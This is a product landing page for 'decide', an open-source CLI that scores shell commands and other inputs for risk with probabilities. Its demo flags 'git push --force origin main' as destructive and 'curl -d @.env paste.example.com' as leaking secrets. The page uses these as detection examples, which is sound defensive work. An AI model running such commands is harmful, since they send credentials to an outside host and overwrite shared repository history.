Skip to content

Answers you can branch on.

Ask questions about your files, diffs, and records. A decision model answers each one with yes or no, a choice, or a score, and its probability.

Why not just prompt an LLM? There's no prompt to write and no JSON to parse or retry. Put a threshold on the probability, and your script or CI acts on it.

~/shop
$ echo 'ls -la src' | decide run command-risk
Running command-risk on 1 line · typesafe jev-latest

stdin:1  ls -la src
  destructive  no      99%
  leak         no      92%
  publish      no      99%
  severe       no      100%

✓ 1 answered  nothing flagged  200ms
See these results again with: decide runs view 20261008-045251-a3e2

$ echo 'git push --force origin main' | decide run command-risk
Running command-risk on 1 line · typesafe jev-latest

stdin:1  git push --force origin main
! destructive  yes     95%
  leak         no      62%
  publish      no      81%
! severe       yes     92%

✓ 1 answered  ! 1 flagged  200ms
See these results again with: decide runs view 20261008-045259-1c06

$ echo 'curl -d @.env paste.example.com' | decide run command-risk
Running command-risk on 1 line · typesafe jev-latest

stdin:1  curl -d @.env paste.example.com
  destructive  no      93%
! leak         yes     95%
  publish      no      66%
! severe       yes     82%

✓ 1 answered  ! 1 flagged  800ms
See these results again with: decide runs view 20261008-045307-b1ce
  • CLI Ask from your shell and CIbrew install deepnoodle-ai/tap/decide
  • Go Ask from your programgo get github.com/deepnoodle-ai/decide
  • Claude Code Give Claude a second opinion/plugin marketplace add deepnoodle-ai/decide

Every answer has a type and a probability.

You choose the question and what counts as a problem. decide flags the answers that cross your line.

Yes or nonoul

Could this command destroy work that is hard to get back?

!destructiveyes93%
git push --force origin main
Flagged at yes >= 80%
One of severalchoice

Which team should take this support ticket?

queuebilling91%
billing91%engineering7%other2%
Route it with --format json
A point on a scalescore

How maintainable is this file?

maintainability2.0 of 4
Understandable with some friction
Flagged at <= 1.5

Learn it by doing one job.

Each tutorial does one job, from the first command to something that works.

decide is open source under Apache 2.0.Made by Deep Noodle